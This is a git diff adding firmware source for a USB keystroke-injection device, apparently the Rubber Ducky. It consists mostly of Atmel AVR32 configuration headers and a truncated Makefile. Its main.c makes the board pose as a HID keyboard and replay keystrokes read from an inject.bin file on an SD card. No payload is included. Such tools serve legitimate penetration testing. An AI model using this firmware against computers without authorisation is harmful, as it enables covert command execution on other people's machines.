form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CONF_EXPLORER_H_ +#define _CONF_EXPLORER_H_ + +#include "compiler.h" + + +//! Include files and compile options (do not change these settings). +#define LIB_MEM +#define LIB_CTRLACCESS "ctrl_access.h" + +//! Supported FATs (\c ENABLED or \c DISABLED). +#define FS_FAT_12 ENABLED +#define FS_FAT_16 ENABLED +#define FS_FAT_32 ENABLED + +//! The explorer may support either the ASCII or the UNICODE string format, or both. +#define FS_ASCII ENABLED +#define FS_UNICODE DISABLED + +//! The navigator may support only the first partition (\c DISABLED), or multiple partitions (\c ENABLED). +#define FS_MULTI_PARTITION DISABLED + +//! Maximal number of characters in file path. +#define MAX_FILE_PATH_LENGTH 30 + +//! Maximal size of configuration file. +#define MAX_CONFIG_FILE_SIZE 110 + +//! Level of features. +//! Select among: +//! - \c FSFEATURE_READ: All read functions. +//! - \c FSFEATURE_WRITE: nav_file_copy(), nav_file_paste(), nav_file_del(), file_create(), file_open(MODE_WRITE), file_write(), file_putc(). +//! - \c FSFEATURE_WRITE_COMPLET: FSFEATURE_WRITE functions and nav_drive_format(), nav_dir_make(), nav_file_rename(), nav_file_dateset(), nav_file_attributset(). +//! - \c FSFEATURE_ALL: All functions. +#define FS_LEVEL_FEATURES (FSFEATURE_READ | FSFEATURE_WRITE_COMPLET) + +//! Number of caches used to store a cluster list of files (interesting in case of many `open file'). +//! In player mode, 1 is OK (shall be > 0). +#define FS_NB_CACHE_CLUSLIST 1 + +//! Maximal number of simultaneous navigators. +#define FS_NB_NAVIGATOR 2 + +//! Number of reserved navigators (ids from \c 0 to (FS_NB_RESERVED_NAVIGATOR - 1)). +#define FS_NB_RESERVED_NAV 0 + +/*! \name Navigator Affiliations + * + * Define the affiliations of the navigators. + * + * \note The explorer always has the navigator ID 0. + */ +//! @{ + +//! The explorer uses the navigator ID 1 to open the `copy file' and the ID 0 to open the `paste file'. +#define FS_NAV_ID_COPYFILE 1 + +//! @} + +/*! \name Playlist Configuration + */ +//! @{ + +//! Cache to store the path of a file (here, mapped onto a global buffer). +#define pl_cache_path g_buffer + +//! Size of cache to store the path of a file. +#define PL_CACHE_PATH_MAX_SIZE sizeof(g_buffer) + +//! Playlist format: \c DISABLED for ASCII or \c ENABLED for UNICODE. +#define PL_UNICODE DISABLED + +//! @} + + +#endif // _CONF_EXPLORER_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sd_mmc_spi.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sd_mmc_spi.h new file mode 100755 index 0000000..5b77a3d --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sd_mmc_spi.h @@ -0,0 +1,71 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief SD/MMC configuration file. + * + * This file contains the possible external configuration of the SD/MMC. + * + * - Compiler: IAR EWAVR32 and GNU GCC for AVR32 + * - Supported devices: All AVR32 devices with an SPI module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _CONF_SD_MMC_SPI_H_ +#define _CONF_SD_MMC_SPI_H_ + + +#include "conf_access.h" + +#if SD_MMC_SPI_MEM == DISABLE + #error conf_sd_mmc_spi.h is #included although SD_MMC_SPI_MEM is disabled +#endif + + +#include "sd_mmc_spi.h" + + +//_____ D E F I N I T I O N S ______________________________________________ + +//! SPI master speed in Hz. +#define SD_MMC_SPI_MASTER_SPEED 12000000 + +//! Number of bits in each SPI transfer. +#define SD_MMC_SPI_BITS 8 + + +#endif // _CONF_SD_MMC_SPI_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sleepmgr.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sleepmgr.h new file mode 100755 index 0000000..08d3ee1 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_sleepmgr.h @@ -0,0 +1,44 @@ +/** + * \file + * + * \brief Chip-specific sleep manager configuration + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CONF_SLEEPMGR_H +#define CONF_SLEEPMGR_H + +// Sleep manager options +#define CONFIG_SLEEPMGR_ENABLE + +#endif /* CONF_SLEEPMGR_H */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_usb.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_usb.h new file mode 100755 index 0000000..6bd48f4 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/config/conf_usb.h @@ -0,0 +1,125 @@ +/** + * \file + * + * \brief USB configuration file + * + * Copyright (C) 2009 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ + +#ifndef _CONF_USB_H_ +#define _CONF_USB_H_ + +#include "compiler.h" +#include "main.h" + +/** + * USB Device Configuration + * @{ + */ + +//! Device definition (mandatory) +#define USB_DEVICE_VENDOR_ID USB_VID_ATMEL +#define USB_DEVICE_PRODUCT_ID USB_PID_ATMEL_AVR_HIDKEYBOARD +#define USB_DEVICE_MAJOR_VERSION 1 +#define USB_DEVICE_MINOR_VERSION 0 +#define USB_DEVICE_POWER 100 // Consumption on Vbus line (mA) +#define USB_DEVICE_ATTR \ + (USB_CONFIG_ATTR_REMOTE_WAKEUP|USB_CONFIG_ATTR_BUS_POWERED) +// (USB_CONFIG_ATTR_SELF_POWERED) +// (USB_CONFIG_ATTR_BUS_POWERED) +// (USB_CONFIG_ATTR_REMOTE_WAKEUP|USB_CONFIG_ATTR_SELF_POWERED) + + +//! USB Device string definitions (Optional) +#define USB_DEVICE_MANUFACTURE_NAME "ATMEL AVR" +#define USB_DEVICE_PRODUCT_NAME "HID Keyboard" +// #define USB_DEVICE_SERIAL_NAME "12...EF" + +/** + * Device speeds support + * @{ + */ +//! To define a Low speed device +//#define USB_DEVICE_LOW_SPEED + +//! To authorize the High speed +#if (UC3A3||UC3A4) +//#define USB_DEVICE_HS_SUPPORT +#endif +//@} + +/** + * USB Device Callbacks definitions (Optional) + * @{ + */ +//#define UDC_VBUS_EVENT(b_vbus_high) main_vbus_action(b_vbus_high) +#define UDC_SOF_EVENT() main_sof_action() +#define UDC_SUSPEND_EVENT() main_suspend_action() +#define UDC_RESUME_EVENT() main_resume_action() +//! Mandatory when USB_DEVICE_ATTR authorizes remote wakeup feature +#define UDC_REMOTEWAKEUP_ENABLE() main_remotewakeup_enable() +#define UDC_REMOTEWAKEUP_DISABLE() main_remotewakeup_disable() +//! When a extra string descriptor must be supported +//! other than manufacturer, product and serial string +// #define UDC_GET_EXTRA_STRING() +//@} + +//@} + + +/** + * USB Interface Configuration + * @{ + */ +/** + * Configuration of HID Keyboard interface (if used) + * @{ + */ +//! Interface callback definition +#define UDI_HID_KBD_ENABLE_EXT() main_kbd_enable() +#define UDI_HID_KBD_DISABLE_EXT() main_kbd_disable() +#define UDI_HID_KBD_CHANGE_LED(value) main_kbd_change(value) +//@} +//@} + + +/** + * USB Device Driver Configuration + * @{ + */ +//@} + +//! The includes of classes and other headers must be done at the end of this file to avoid compile error +#include "udi_hid_kbd_conf.h" + +#endif // _CONF_USB_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.c b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.c new file mode 100755 index 0000000..67758ba --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.c @@ -0,0 +1,294 @@ +//_____ M A I N ___________________________________________________________ +// +// Module : Ducky +// Description : Simple USB HID Keyboard injection +// Date : April 1, 2012 +// Author : Snake +// Credit : ATMEL, Jason Applebaum keyscan's method. +//__________________________________________________________________________ + +//_____ I N C L U D E S ___________________________________________________ +#include +#include "compiler.h" +#include "main.h" +#include "preprocessor.h" +#include "board.h" +#include "ctrl_access.h" +#include "power_clocks_lib.h" +#include "gpio.h" +#include "spi.h" +#include "conf_sd_mmc_spi.h" +#include "fat.h" +#include "file.h" +#include "navigation.h" +#include "conf_usb.h" +#include "udc.h" +#include "udd.h" +#include "led.h" +#include "udi_hid_kbd.h" +#include "sysclk.h" +#include "sleepmgr.h" + +//_____ D E C L A R A T I O N S ____________________________________________ + +// filename +char *injectFile = "A:\\inject.bin"; + +// state machine enum +typedef enum injectState { + state_IDLE, + state_START_INJECT, + state_INJECTING, + state_KEY_DOWN, + state_KEY_UP, + state_MOD_DOWN, + state_MOD_KEY_DOWN, + state_MOD_KEY_UP, + state_MOD_UP, + state_WAIT +} injectState_t; + +//_____ F U N C T I O N S __________________________________________________ + +// initializes the SD/MMC memory resources: GPIO, SPI and MMC +//------------------------------------------------------------------- +static void sd_mmc_resources_init(long pba_hz) { + + // GPIO pins used for SD/MMC interface + static const gpio_map_t SD_MMC_SPI_GPIO_MAP = { + {SD_MMC_SPI_SCK_PIN, SD_MMC_SPI_SCK_FUNCTION }, // SPI Clock. + {SD_MMC_SPI_MISO_PIN, SD_MMC_SPI_MISO_FUNCTION}, // MISO. + {SD_MMC_SPI_MOSI_PIN, SD_MMC_SPI_MOSI_FUNCTION}, // MOSI. + {SD_MMC_SPI_NPCS_PIN, SD_MMC_SPI_NPCS_FUNCTION} // Chip Select NPCS. + }; + + // SPI options. + spi_options_t spiOptions = { + .reg = SD_MMC_SPI_NPCS, + .baudrate = SD_MMC_SPI_MASTER_SPEED, // Defined in conf_sd_mmc_spi.h. + .bits = SD_MMC_SPI_BITS, // Defined in conf_sd_mmc_spi.h. + .spck_delay = 0, + .trans_delay = 0, + .stay_act = 1, + .spi_mode = 0, + .modfdis = 1 + }; + + // assign I/Os to SPI. + gpio_enable_module(SD_MMC_SPI_GPIO_MAP, + sizeof(SD_MMC_SPI_GPIO_MAP) / sizeof(SD_MMC_SPI_GPIO_MAP[0])); + + // initialize as master. + spi_initMaster(SD_MMC_SPI, &spiOptions); + + // set SPI selection mode: variable_ps, pcs_decode, delay. + spi_selectionMode(SD_MMC_SPI, 0, 0, 0); + + // enable SPI module. + spi_enable(SD_MMC_SPI); + + // Initialize SD/MMC driver with SPI clock (PBA). + sd_mmc_spi_init(spiOptions, pba_hz); +} + +// process a USB frame +//------------------------------------------------------------------- +void process_frame(uint16_t framenumber) +{ + static uint8_t cpt_sof = 0; + static injectState_t state = state_START_INJECT; + static uint8_t wait = 0; + static uint16_t debounce = 0; + static uint16_t injectToken = 0x0000; + + // scan process running each 2ms + cpt_sof++; + if( 2 > cpt_sof ) + return; + cpt_sof = 0; + + // pulse led + LED_Set_Intensity( LED0, framenumber >> 1 ); + + // debounce switch + if( debounce > 0 ) --debounce; + + // injection state machine + switch(state) { + + case state_IDLE: + // check switch + if( gpio_get_pin_value(GPIO_JOYSTICK_PUSH) == GPIO_JOYSTICK_PUSH_PRESSED ) { + + // debounce + if( debounce == 0 ) { + state = state_START_INJECT; + debounce = 250; + } + } + break; + + case state_START_INJECT: + file_open(FOPEN_MODE_R); + state = state_INJECTING; + break; + + case state_INJECTING: + + if( file_eof() ) { + file_close(); + state = state_IDLE; + break; + } + + injectToken = ( file_getc() | ( file_getc() << 8 ) ); + + if( ( injectToken&0xff ) == 0x00 ) { + wait = injectToken>>8; + state = state_WAIT; + } + else if( ( injectToken>>8 ) == 0x00 ) { + state = state_KEY_DOWN; + } + else { + state = state_MOD_DOWN; + } + break; + + case state_KEY_DOWN: + udi_hid_kbd_down(injectToken&0xff); + state = state_KEY_UP; + break; + + case state_KEY_UP: + udi_hid_kbd_up(injectToken&0xff); + state = state_INJECTING; + break; + + case state_MOD_DOWN: + udi_hid_kbd_modifier_down(injectToken>>8); + state = state_MOD_KEY_DOWN; + break; + + case state_MOD_KEY_DOWN: + udi_hid_kbd_down(injectToken&0xff); + state = state_MOD_KEY_UP; + break; + + case state_MOD_KEY_UP: + udi_hid_kbd_up(injectToken&0xff); + state = state_MOD_UP; + break; + + case state_MOD_UP: + udi_hid_kbd_modifier_up(injectToken>>8); + state = state_INJECTING; + break; + + case state_WAIT: + if( --wait == 0 ) { + state = state_INJECTING; + } + break; + + default: + state = state_IDLE; + } +} + +// Main Method - IRQ, CLCK, INIT setup +//------------------------------------------------------------------- +int main(void) { + + uint32_t sizeTemp; + + // init cpu + irq_initialize_vectors(); + cpu_irq_enable(); + + // init board + sleepmgr_init(); + sysclk_init(); + board_init(); + + // initialize SD/MMC resources: GPIO, SPI. + sd_mmc_resources_init(FOSC0); + + // test if the memory is ready - using the control access memory abstraction layer (/SERVICES/MEMORY/CTRL_ACCESS/) + if (mem_test_unit_ready(LUN_ID_SD_MMC_SPI_MEM) == CTRL_GOOD) { + // Get and display the capacity + mem_read_capacity(LUN_ID_SD_MMC_SPI_MEM, &sizeTemp); + } + else { + // error - we can't proceed - sit and spin... + while(true) { LED_On( LED1 ); } + } + + nav_reset(); + if( !nav_setcwd( injectFile, true, false ) ) { + //try to open a://inject.bin else sit here + while(true) { + LED_On( LED1 ); + for (int i=0; i<10000; i++){} + LED_Off(LED1); + } + } + // Start USB stack + udc_start(); + udc_attach(); + + while(true) { + //do nothing - handle interrupts and events + //sleepmgr_enter_sleep(); + } +} + +//------------------------------------------------------------------- +void main_suspend_action(void) +{ + LED_Off(LED0); + LED_Off(LED1); +} + +//------------------------------------------------------------------- +void main_resume_action(void) +{ +} + +//------------------------------------------------------------------- +void main_sof_action(void) +{ + process_frame( udd_get_frame_number() ); + +} + +//------------------------------------------------------------------- +// If remote wakeup enable/disable is supported insert code below +void main_remotewakeup_enable(void) +{ +} + +//------------------------------------------------------------------- +void main_remotewakeup_disable(void) +{ +} + +//------------------------------------------------------------------- +bool main_kbd_enable(void) +{ + //main_b_kbd_enable = true; + return true; +} + +//------------------------------------------------------------------- +bool main_kbd_disable(void) +{ + //main_b_kbd_enable = false; mod + return false; +} + +//------------------------------------------------------------------- +void main_kbd_change(uint8_t value) +{ + //no use in this firmware +} diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.h new file mode 100755 index 0000000..de05b07 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/main.h @@ -0,0 +1,88 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ****************************************************************** + * + * \brief Declaration of main function used by HID mouse example + * + * - Compiler: IAR EWAVR and GNU GCC for AVR + * - Supported devices: All AVR devices with a USB module can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ***************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + * + */ + +#ifndef _MAIN_H_ +#define _MAIN_H_ + +#include "compiler.h" + +/*! \brief Called by HID interface + * Callback running when USB Host enable kbd interface + * + * \retval true if mouse startup is ok + */ +bool main_kbd_enable(void); + +/*! \brief Called by HID interface + * Callback running when USB Host disable kbd interface + */ +bool main_kbd_disable(void); + +/*! \brief Called when a start of frame is received on USB line + */ +void main_sof_action(void); + +/*! \brief Called by UDD when a suspend is received + * Callback running when USB Host set USB line in suspend state + */ +void main_suspend_action(void); + +/*! \brief Called by UDD when the USB line exit of suspend state + */ +void main_resume_action(void); + +/*! \brief Called by UDC when USB Host request to enable remote wakeup + */ +void main_remotewakeup_enable(void); + +/*! \brief Called by UDC when USB Host request to disable remote wakeup + */ +void main_remotewakeup_disable(void); + +/*! \brief Called by UDC when USB Host setreport + */ +void main_kbd_change(uint8_t value); + +#endif // _MAIN_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/Makefile b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/Makefile new file mode 100644 index 0000000..d1631e6 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Ducky_Multi_Payload/Debug/Makefile @@ -0,0 +1,461 @@ +################################################################################ +# Automatically-generated file. Do not edit! +################################################################################ + +SHELL := cmd.exe +RM := rm -rf + +USER_OBJS := + +LIBS := +PROJ := + +O_SRCS := +C_SRCS := +S_SRCS := +S_UPPER_SRCS := +OBJ_SRCS := +ASM_SRCS := +PREPROCESSING_SRCS := +OBJS := +OBJS_AS_ARGS := +C_DEPS := +C_DEPS_AS_ARGS := +EXECUTABLES := +OUTPUT_FILE_PATH := +OUTPUT_FILE_PATH_AS_ARGS := +AVR_APP_PATH :=$$$AVR_APP_PATH$$$ +QUOTE := " +ADDITIONAL_DEPENDENCIES:= +OUTPUT_FILE_DEP:= + +# Every subdirectory with source files must be described here +SUBDIRS := \ +../src/ \ +../src/asf/ \ +../src/asf/avr32/ \ +../src/asf/avr32/boards/ \ +../src/asf/avr32/boards/evk1101/ \ +../src/asf/avr32/components/ \ +../src/asf/avr32/components/memory/ \ +../src/asf/avr32/components/memory/sd_mmc/ \ +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/ \ +../src/asf/avr32/drivers/ \ +../src/asf/avr32/drivers/flashc/ \ +../src/asf/avr32/drivers/gpio/ \ +../src/asf/avr32/drivers/intc/ \ +../src/asf/avr32/drivers/pm/ \ +../src/asf/avr32/drivers/spi/ \ +../src/asf/avr32/drivers/usbb/ \ +../src/asf/avr32/services/ \ +../src/asf/avr32/services/fs/ \ +../src/asf/avr32/services/fs/fat/ \ +../src/asf/avr32/utils/ \ +../src/asf/avr32/utils/linker_scripts/ \ +../src/asf/avr32/utils/linker_scripts/at32uc3b/ \ +../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/ \ +../src/asf/avr32/utils/linker_scripts/at32uc3b/0256/gcc/ \ +../src/asf/avr32/utils/preprocessor/ \ +../src/asf/avr32/utils/startup/ \ +../src/asf/common/ \ +../src/asf/common/boards/ \ +../src/asf/common/services/ \ +../src/asf/common/services/clock/ \ +../src/asf/common/services/clock/uc3b0_b1/ \ +../src/asf/common/services/sleepmgr/ \ +../src/asf/common/services/sleepmgr/uc3/ \ +../src/asf/common/services/storage/ \ +../src/asf/common/services/storage/ctrl_access/ \ +../src/asf/common/services/usb/ \ +../src/asf/common/services/usb/class/ \ +../src/asf/common/services/usb/class/hid/ \ +../src/asf/common/services/usb/class/hid/device/ \ +../src/asf/common/services/usb/class/hid/device/kbd/ \ +../src/asf/common/services/usb/udc/ \ +../src/asf/common/utils/ \ +../src/asf/common/utils/interrupt/ \ +../src/config/ + + +# Add inputs and outputs from these tool invocations to the build variables +C_SRCS += \ +../src/asf/avr32/boards/evk1101/init.c \ +../src/asf/avr32/boards/evk1101/led.c \ +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.c \ +../src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.c \ +../src/asf/avr32/drivers/flashc/flashc.c \ +../src/asf/avr32/drivers/gpio/gpio.c \ +../src/asf/avr32/drivers/intc/intc.c \ +../src/asf/avr32/drivers/pm/pm.c \ +../src/asf/avr32/drivers/pm/pm_conf_clocks.c \ +../src/asf/avr32/drivers/pm/power_clocks_lib.c \ +../src/asf/avr32/drivers/spi/spi.c \ +../src/asf/avr32/drivers/usbb/usbb_device.c \ +../src/asf/avr32/services/fs/fat/fat.c \ +../src/asf/avr32/services/fs/fat/fat_unusual.c \ +../src/asf/avr32/services/fs/fat/file.c \ +../src/asf/avr32/services/fs/fat/navigation.c \ +../src/asf/common/services/clock/uc3b0_b1/sysclk.c \ +../src/asf/common/services/sleepmgr/uc3/sleepmgr.c \ +../src/asf/common/services/storage/ctrl_access/ctrl_access.c \ +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.c \ +../src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.c \ +../src/asf/common/services/usb/class/hid/device/udi_hid.c \ +../src/asf/common/services/usb/udc/udc.c \ +../src/main.c + + +PREPROCESSING_SRCS += \ +../src/asf/avr32/drivers/intc/exception.S \ +../src/asf/avr32/utils/startup/startup_uc3.S \ +../src/asf/avr32/utils/startup/trampoline_uc3.S + + +ASM_SRCS += + + +OBJS += \ +src/asf/avr32/boards/evk1101/init.o \ +src/asf/avr32/boards/evk1101/led.o \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o \ +src/asf/avr32/drivers/flashc/flashc.o \ +src/asf/avr32/drivers/gpio/gpio.o \ +src/asf/avr32/drivers/intc/exception.o \ +src/asf/avr32/drivers/intc/intc.o \ +src/asf/avr32/drivers/pm/pm.o \ +src/asf/avr32/drivers/pm/pm_conf_clocks.o \ +src/asf/avr32/drivers/pm/power_clocks_lib.o \ +src/asf/avr32/drivers/spi/spi.o \ +src/asf/avr32/drivers/usbb/usbb_device.o \ +src/asf/avr32/services/fs/fat/fat.o \ +src/asf/avr32/services/fs/fat/fat_unusual.o \ +src/asf/avr32/services/fs/fat/file.o \ +src/asf/avr32/services/fs/fat/navigation.o \ +src/asf/avr32/utils/startup/startup_uc3.o \ +src/asf/avr32/utils/startup/trampoline_uc3.o \ +src/asf/common/services/clock/uc3b0_b1/sysclk.o \ +src/asf/common/services/sleepmgr/uc3/sleepmgr.o \ +src/asf/common/services/storage/ctrl_access/ctrl_access.o \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd.o \ +src/asf/common/services/usb/class/hid/device/kbd/udi_hid_kbd_desc.o \ +src/asf/common/services/usb/class/hid/device/udi_hid.o \ +src/asf/common/services/usb/udc/udc.o \ +src/main.o + + +OBJS_AS_ARGS += \ +src/asf/avr32/boards/evk1101/init.o \ +src/asf/avr32/boards/evk1101/led.o \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi.o \ +src/asf/avr32/components/memory/sd_mmc/sd_mmc_spi/sd_mmc_spi_mem.o \ +src/asf/avr32/drivers/flashc/flashc.o \ +src/asf/avr32/drivers/gpio/gpio.o \ +src/asf/avr32/drivers/intc/exception.o \ +src/asf/avr32/drivers/intc/intc.o \ +src/asf/avr32/drivers/pm/pm.o \ +src/asf/avr32/drivers/pm/pm_conf_clocks.o \ +src/asf/avr32/drivers/pm/power_clocks_lib.o \ +src/asf/avr32/drivers/spi/spi.o \ +src/asf/avr32/drivers/usbb/usbb_device.o \ 